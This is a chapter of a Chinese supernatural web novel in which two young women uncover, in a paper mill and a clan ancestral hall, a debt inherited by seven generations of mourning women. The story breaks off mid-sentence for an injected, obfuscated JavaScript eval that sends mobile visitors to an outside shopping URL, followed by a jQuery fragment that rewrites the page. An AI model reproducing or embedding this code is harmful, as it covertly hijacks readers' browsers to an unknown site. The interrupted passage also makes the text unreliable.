七月初九，天没亮透，偏房里还压着一层夜里的潮气。
沈烬是先醒的。土炕硬，谷糠枕头硌了一夜后颈，她睁眼时脖子那块酸得发木，转一下都滞。房梁上那道烟熏的痕迹还在，一道一道的，跟前几日一个样。窗纸破了个洞，外头天色是灰的，一线白从洞里漏进来，照在炕席上，照出两寸方形的亮。
她没急着起。先把手伸进袖口，摸到铜剪的剪柄，凉的，又摸到那截新铜铃，圆肚子，扁口，铜亮，温的。两个东西并排在臂弯里，一个凉一个温，跟她的体温隔着一层布，分不出谁更近。腕上红绳绕七道，酱色，压了一夜，松紧刚好，勒出一道浅印，印底下皮肤发白。
白芷在旁边翻了个身，铃铛在腰上撞了一下，闷响。她没醒，嘴皮子动了动，含含糊糊吐了半句引魂调，调子拐了弯，断在喉咙里。
沈烬撑着炕席坐起来，脊背骨节咔哒响了一声，响完才把那股锈劲儿散开一点。腿还是麻，膝盖窝里像塞了把针，她把左腿盘到炕沿底下，拿手揉了揉小腿肚子，揉出两道红印，过一会儿才回白。布鞋套上，鞋带系了个死结，解不开，她拽了两下才拽开，又系回去，系完拿脚尖把鞋跟踩进泥里。鞋底踩在黄泥地上，凉。
她从包袱里摸出半块冷馍，掰了一角塞进嘴里。馍硬，硌牙，她拿口水泅了泅，嚼了半天，腮帮子酸了才咽。剩下的馍渣掉在衣襟上，她拿指腹拈起来，送回嘴里。又从袖底摸出一颗糖，是刘婶昨儿塞给她的，糖纸皱了，她展平了，剥开，糖块含进嘴里，舌尖抵着，甜味慢慢漫开，冲淡了馍的干。
白芷这会儿醒了，睁眼看见她嚼馍，铃铛在腰上晃了一下：「你又吃冷馍。今日去纸厂不？」
沈烬把最后一口馍咽了，没答。她站起身，腿麻意还没散全，走两步踩实了才稳。袖里铜剪别回腰后，刃口朝外，隔着衣布料着虎口。
「去纸厂。」她说。这是今儿第一句整话，嗓子哑，像砂纸刮过。
白芷一骨碌爬起来，铃铛甩得急：「早该去了。我姐死前说井里有人叫她，那井就在纸厂后头，我倒要看看是个什么井，能叫人下去。」
两人出了偏房。院子里那口红绳棺还摆着，棺盖合着，七道红绳压在缝里，压得死紧。红绸塌在门框上，蔫了，沾了土，脏了一截。几个村民远远地看，不说话，眼神黏在棺上，又黏到她俩身上，黏了一下，又挪开。
日头升起来，晒在黄土道上，白晃晃的。出了村往西，纸厂在村西头再往里走二里地。白芷步子快，铃铛一路响，话像倒豆子：「我说你走慢点，我又不是不认路。那纸厂我姐生前去过，说是大车间，机器轰隆隆的，纸浆味冲鼻子。后来封了，机器锈了，她就不去了。可她死前那些天，又往那头跑，说听见井里有人唱调子。」
沈烬没接。她腿麻，走一阵缓一阵，缓的时候拿脚尖点着地走，麻上来就站住，拿手掐一把大腿外侧。掐出两道白印，过一会儿才回红。日头晒着后脖颈，汗顺着脊背爬，她拿袖子抹了把脖子，袖口干干的，蹭出一道汗印。
纸厂到了。
红砖墙塌了一截，砖缝里长着野草，草叶子让日头晒得卷了边。铁皮棚顶锈穿了好几处，露出里头灰蒙蒙的天。院里停着两台机器，铁壳上全是红锈，齿轮卡着不动，像死了一样。墙角一个纸浆池，水泥裂了，里头蓄着一汪绿水，水面浮着青苔，风一过，腥味往上翻，跟泯水河的味道不是一个来路，更闷，更沤。
大门锁着，一把老铁锁，锁身锈成了一个疙瘩，挂在一对铁环上。门框上贴着封条，纸黄了，边角卷起，上头印的字模糊，只能认出个「封」字和一年份的半边。白芷伸手去拽锁，锁纹丝不动，她踢了一脚门板，门板闷响，灰尘簌簌落下来。
「进不去。」沈烬开口。第二句整话。
白芷绕着围墙走，想找豁口。墙塌的那截豁口用木棍挡着，歪斜地靠在砖上，她扒开木棍往里看，里头还是机器和锈，没路。又绕到后头，找那口井。井在纸厂后墙根，井口叫一块石板盖了，石板缝里长着草，草叶枯黄，石板上压着一块青砖，压得死死的。井封了，跟纸厂一道，封了二十年。
白芷的铃铛响得乱，她蹲在井边，伸手摸了摸石板，石面凉，粗粝，磨得她指腹发毛：「我姐就是从这儿被叫下去的？这井封了，她怎么下去的？」
沈烬没答。她把手插进袖口，摸到册子的边角，硬邦邦的，抵着心口。第13章老礼生说过，纸厂封了二十年，没人进得去。井也封了。里头的账，拿不到。
河风卷着泯水河的腥，往纸厂院子里灌，裹着那股沤着的纸浆味，呛人。沈烬站了一会儿，把册子收好，转身往回走。鞋底在黄土上拖出两道印，印子浅，风一吹，边角就散了。
白芷跟上来，铃铛响得闷：「那怎么办？我姐的账不查了？」
沈烬没应。她走回村里，日头已经偏西，晒在土墙上，墙上的泥皮掉了一块，露出底下的黄泥，干巴巴的，裂着缝。
老礼生在自家院里，拐棍戳在地上，眯着眼看天。日头晒在他脸上，照出一脸皱纹，照出一双浑浊的眼。沈烬走到他跟前，站定，手插在袖口里，摸到那截新铜铃，圆肚子扁口，凉的。
「纸厂进不去。」她说。第三句整话。
老礼生长期看她，喉结动了动：「我说过，封了二十年，没人进得去。那口井也封了，石板上压着青砖，谁也掀不动。」
「账在哪儿还能看。」沈烬问。第四句整话。
老礼生把拐棍换了个手撑着，往村东头努努嘴：「纸厂那本是公账，封在厂里，拿不到。可河西村赵姓的债，另有一本族账，记在祖宗祠堂里。阿桃她家，是赵姓的一支，早年间分出来的，族谱上还算赵家的种。她家世世代代的债，祠堂里写得清清楚楚。你要查阿桃家欠的，去祠堂。」
白芷的铃铛响了一声，急的：「祠堂？那破屋子能查出什么？」
老礼生看她一眼，眼神里头有点东西，不是怕，是别的，像在掂量这话的分量：「祠堂不是破屋子。河西村赵家的祠堂，供的不是祖宗牌位，是历代哭丧女的像。阿桃家欠的债，从她太奶奶那一辈起，就记在那儿了。」
沈烬的手在袖口里动了一下，摸到册子的硬边。她想起母亲柜子里那串铃铛，红绳褪成酱色，铃铛圆肚子扁口。想起册子上阿桃那页，画着歪了的铃铛。想起第13章在河边侧着光看见的，那串藏在阿桃名字底下的、完整的铃铛。
「祠堂。」她说。第五句整话。
老礼生点头，拐棍在地上戳了一下，起身带路。他走得很慢，拖着一只脚，拖得厉害，日头跟在他后头，把他的影子拉得长，投在黄土道上，晃晃的。
祠堂在村东头，孤零零一座青砖门楼，门楣上嵌着匾，匾上三个字，漆脱了大半，只剩个轮廓，认得出是「赵氏宗祠」。门前两尊石鼓，鼓面磨得发亮，石缝里长着青苔。门槛高，两寸有余，跨进去要抬腿。两扇木门半开，里头暗，只有门缝漏进一线天光，照在门槛上，照出一截白。
院里有棵老槐，树干粗得两人合抱，树皮皴裂，像老人脸上的纹。枝丫伸到祠堂顶上，遮了半边瓦。瓦缝里长着草，风一过，草齐刷刷倒向一边。
老礼生停在门口，拐棍戳地：「进去吧。里头规矩，比纸厂少，可也比外头多。你持卷人，看得懂。」
沈烬跨过高门槛，鞋底踩在青石板上，凉。白芷跟进去，铃铛在腰上响了一下，空空的，在祠堂的暗里荡开，显得格外响。
祠堂里头，比外头暗得多。窗户纸糊得厚，只透进来一点白，照在地上，照出一块方形的亮。供桌摆在正中，桌上没有祖宗牌位，摆着一排纸扎的女子立像。纸像一共七尊，一个挨一个，排成一行，暗处看过去，白惨惨的一排脸。
沈烬走近了看。纸像是扎的，竹篾做骨，外头糊纸，纸面白，没上多少色，只有腮红两点，朱砂点的，红得扎眼。七个纸人，都穿着孝服，白衣白裤，手里拿一根哭丧棒，棒头系着白布。最前头那一尊颜色旧了，纸发黄，边角卷起，像是扎了有些年头。往后每一尊都新一点，到最末一尊，纸还是白的，没上色，像是刚扎好没几天。
白芷的呼吸停了一拍。她认出最末那尊了。柳叶眉，眉尾往上挑，是哭丧女该有的眉。可眉尾歪了半分，歪得不对称，跟喜棺里那纸新娘，一个扎法。
「这是我姐。」她嗓子劈了，铃铛撞在供桌上，当的一响，「这一排，都是谁？」
老礼生拄着拐棍，站在祠堂门口，没进来。他嗓子更哑了：「七代。阿桃家这一支，七代女子，都在这儿。头一尊是她太奶奶，往后一代一个，到阿桃，第七代。」
沈烬数了数那七尊纸像。七尊，一个挨一个，白惨惨的，在暗里排着。腕上红绳自己紧了一紧，紧得她腕骨那块发白。
她把册子从怀里抽出来，翻开到记着阿桃的那页。墨写的名字，旁边画着一串铃铛，圆肚子扁口，画的人手抖，口歪了。她又合上，抬眼看供桌上最末那尊纸像，是阿桃的像，手里哭丧棒上，也系着一串铃铛，纸剪的，圆肚子扁口。
两串铃铛，一个在册子上，歪的；一个在祠堂纸像上，也是歪的。
「记着什么。」沈烬问老礼生。第六句整话。
老礼生往供桌后的香案努努嘴。香案上摆着本册子，线装，纸黄，封皮上没写字，只有一道墨印，像是按上去的指印。册子旁边搁着支毛笔，笔尖干透了，结着一块墨痂。
「族账。」老礼生说，「赵姓每一支的债，都记在那上头。阿桃她家的，翻到第七页，写着呢。」
沈烬走过去，翻开那本族账。纸页脆，一翻就响，像枯叶子。第七页，墨写的字，笔画粗，是男人手笔。上头记着：
「赵阿桃，女，第七代哭丧女。承家债：欠族粮三石，利滚至今未清。兼承父债：纸厂工伤未偿，工抵七年，账未清。许配冥婚，冲喜还债。殁于泯水，名入卷，魂归井。」
沈烬的手指停在「名入卷」三个字上。卷，就是册子。阿桃的名字，既在纸厂的册子上，也在祠堂的族账上，还在泯水河底的井里。三处，拴着同一个人。
她翻回自己怀里的册子，阿桃那页，侧着光看。名字底下藏着的，那串完整的铃铛，圆肚子扁口，口没歪，画得齐齐整整。这串铃铛，不是母亲江浸月画的。母亲画的那串，是歪的。这串完整的，是另一个人画的。
是祠堂里记的。是族里记阿桃债的人，画的。
两本账，一本歪，一本正。纸厂的账，死人记的，铃铛歪了，摇不响。祠堂的账，活人记的，铃铛完整，还画得齐齐整整。阿桃的债，是同一条债的两个面。
白芷凑过来看族账，看完，铃铛在腰上响得乱：「第七代？我姐是第七代哭丧女？什么叫哭丧女世袭？」
老礼生进了祠堂，拐棍点着地，走到香案边。他没看那七尊纸像，目光落在最末一尊阿桃的像上，停了好一会儿。
「阿桃家这一支，」他开口，嗓子哑，「早年间分家，分少了地。赶上荒年，向族里借了粮救命，立了字据，由家中长女世代做哭丧女，还到债清为止。可这债，利滚利，加上后来她爹又欠了纸厂的工债，永远清不了。所以她家代代女子，生下来就背着债，长大做哭丧女，唱引魂调，哭别人家的丧，替自家还债。阿桃是第七代。」
白芷的脸色白了。她攥着腰上那串铃铛，指节发白：「那我呢？我也是她妹妹，我也姓赵，我也……」
她没说完。铃铛在手里攥得紧，铜撞在一块儿，当的一响，闷在祠堂的暗里。
老礼生看她，浑浊的眼珠子里有点东西在晃：「你跑出来了。你没接。可债还在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933304|213681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那儿，记在族账上，记在卷上。你不接，就空着。空着的那一代，债不会没，会滚到下一代。」
沈烬把手插进袖口，摸到红绳，一圈一圈，绕在指头上。她想起母亲柜子里那串铃铛，红绳褪成酱色。想起自己腕上这七道红绳，松紧刚好。母亲钉在第49页，写着入卷不再归。阿桃钉在册子上，名入卷，魂归井。白芷要是接了，就该钉在下一页，做第八代哭丧女。
这是一张网。纸厂的账，祠堂的账，母亲的册子，是同一张网的三根线。
「入此门，先认债。」沈烬念出声。是祠堂柱子上刻的字，字浅，刻在青砖上，让香火熏得发黑。她指尖蹭过那几个字，砖面粗糙，蹭得指腹发毛。
老礼生看了她一眼：「你认得这规矩。」
「持卷人认规矩。」沈烬说。第七句整话。
她把族账翻到第一页。第一页记着第一代哭丧女，名字模糊，只认得出个「赵」字，后头跟着债数，三石粮，利滚。往后每一代，名字清楚些，债数跟着涨。到第六代，是阿桃她娘，名字旁边画着铃铛，完整的，圆肚子扁口。到第七代，阿桃，铃铛画歪了，是纸厂那本账的笔法，母亲江浸月画的，歪了。
两本账的笔法，在阿桃这一代交汇。纸厂记歪铃铛，祠堂记正铃铛。一个死人记的，一个活人记的。
沈烬合上族账，又合上自己的册子，两本都贴着心口放好。册子硬邦邦的，像一块石头，像纸厂后头那口井，像通到阴间去的那条路。
白芷站在七尊纸像前，一个一个数过去。头一尊最旧，纸黄，边角卷；往后新一点；到阿桃，最末，白得刺眼。她伸手，指尖碰了碰阿桃纸像手里的哭丧棒，棒头白布软塌塌的，蹭在她指头上，凉。
「我姐做哭丧女的时候，」白芷声音低了，铃铛不响了，「大户人家死了人，请她去哭。她一哭，整条街都掉泪。她回来跟我说，哭不是真哭，是调子裹着哭腔，把魂从河里喊回来。她说这调子唱的不是调，是名字。可她自己，最后也叫了别人的名字下去。」
沈烬没接。她看那七尊纸像，白衣白裤，哭丧棒垂着，在祠堂的暗里排成一排。七代女子，一代接一代，生下来就背着债，做哭丧女，唱引魂调，哭完别人的丧，还自家的债。债没清，人就入卷，魂归井，名字记在族账上，记在纸厂册子上，世世代代还。
祠堂外头，老槐的枝丫在风里晃，草齐刷刷倒向一边。日头偏了，照不进祠堂，里头更暗了，只有门缝漏进的那线白，照在青石板上，照出一截冷。
沈烬打哈欠，用手背挡了嘴，眼尾沁出一点水。她一夜没睡实，在偏房土炕上硌着，这会儿祠堂里阴气重，困意上来，她拿手背蹭了蹭眼角，把那点水蹭掉。
「走。」她说。第八句整话。
白芷回头看她，铃铛在腰上响了一下，闷的：「我姐现在在哪儿？在册子上，还是井里？」
沈烬没答。她跨出高门槛，鞋底踩在青石板上，凉。日头已经落了，天边红得像搁久了的锈水，映在祠堂门前的石鼓上，石面泛着一层旧光。
她站在祠堂门口，回头看了一眼那七尊纸像。暗里，白惨惨的一排脸，柳叶眉，眉尾往上挑，最末一尊阿桃的，眉尾歪了半分，歪得不对称，像在哭，又像在笑。
「都在。」她开口，第九句整话，嗓子还是哑，「册子上，井里，你腰上那串铃铛里。」
白芷攥紧了腰上的铃铛，攥得指节发白。铃铛不响，是她攥的，攥得闷，怕出声。她看着祠堂匾额上那三个脱了漆的字，嘴唇动了动，没出声。
沈烬把册子贴着心口放好，册子硬邦邦的，抵着胸口那块，硌着。她想起母亲钉在第49页，入卷不再归。想起阿桃名入卷，魂归井。想起白芷要是接了，该做第八代哭丧女，钉在下一页。
这是一张网。纸厂、祠堂、册子，三根线拴着同一些人。母亲造的册子，既记纸厂的工债，也记宗族的族债。江浸月，第七车间的造纸人，造册机器，造的是一本拴人的账。
河风卷着泯水河的腥，往祠堂院子里灌。老槐的叶子沙沙响，像有人在暗里翻一本旧账。沈烬转身，往偏房走，脚步不快不慢，鞋底在黄土上拖出两道印。
白芷跟上，铃铛响得乱，在暮色里荡开：「那我姐的魂，还能喊回来不？你册子上她那页，铃铛还画着，是不是说明她还在？」
沈烬没应。她走回偏房，院里那口红绳棺还摆着，七道红绳压得死紧。红绸塌在门框上，脏了一截，颜色暗得像干涸的血。
她进屋，把册子摊在炕上，翻到阿桃那页，侧着窗纸漏进的最后一丝光，看了看。名字底下那串完整的铃铛，圆肚子扁口，口没歪，画得齐齐整整。是祠堂里记族债的人画的，是活人画的，所以完整。
可纸厂那本账上，母亲画的那串，是歪的。死人记的账，铃铛歪了，摇不响。
两本账，一本歪，一本正。阿桃的债，是同一条债的两个面。她被两头拴着，一头在纸厂，一头在祠堂，哪头都走不了。
沈烬把册子合上，贴着心口。腕上红绳七道，自己紧了一紧，紧得腕骨发白。她把铜剪从腰后摸出来，攥在掌心，刃口朝外，又别回去。刃口凉，攥完手心出了汗，汗把剪柄浸湿了。
白芷在旁边坐下，铃铛垂在腿边，不响了。她看着沈烬，眼圈红了一圈：「我姐的调子，我还会唱。你说，我唱出来，她能应不？」
沈烬没答。她望向窗外，天已经全黑了，只有泯水河的方向，泛着一点暗白，像井底的光。祠堂里那七尊纸像，在暗里排成一排，白衣白裤，哭丧棒垂着，一代接一代，等着下一尊。
明日，引魂调。
她把铜剪别紧，躺下，睁着眼，听见外头河风卷着泯水河的腥，往院子里灌。棺上的七道红绳，在她闭眼之前，还红得清清楚楚。